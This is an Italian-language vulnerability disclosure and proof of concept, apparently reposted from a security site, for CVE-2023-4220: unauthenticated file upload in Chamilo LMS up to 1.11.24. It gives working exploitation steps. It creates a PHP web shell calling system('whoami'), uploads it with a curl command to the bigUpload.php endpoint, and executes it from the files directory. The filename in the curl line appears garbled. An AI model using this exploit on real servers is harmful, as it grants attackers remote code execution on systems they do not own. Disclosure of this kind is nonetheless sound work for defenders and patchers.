Chamilo-LMS-Unauthenticated-File-Upload-

Caricamento di file senza restrizioni nella funzionalità di caricamento di file di grandi dimensioni in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 consente ad attaccanti non autenticati di eseguire attacchi di cross-site scripting persistente e ottenere l'esecuzione remota di codice tramite il caricamento di una web shell.

Versione interessata ≤v1.11.24

Identificatore CVE CVE-2023-4220

Riepilogo della vulnerabilità

La funzionalità di caricamento di file di grandi dimensioni di /main/inc/lib/javascript/bigupload/inc/bigUpload.php consente di caricare file arbitrari nella directory /main/inc/lib/javascript/bigupload/files all'interno della root web.

Prova di concetto

• Se la directory /main/inc/lib/javascript/bigupload/files esiste, possiamo caricare un file arbitrario come:

• Creare un file php dannoso echo '<?php system("whoami"); ?>' > dollarboysushil.php

• Possiamo quindi caricare questo file eseguendo il seguente comando

  root@kitploit:~

  `$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'` 
  

  

• Possiamo verificare che il nostro file sia stato caricato visitando la directory /main/inc/lib/javascript/bigupload/files

• E possiamo eseguirlo facendo clic sul file php, che restituisce l'output del comando whoami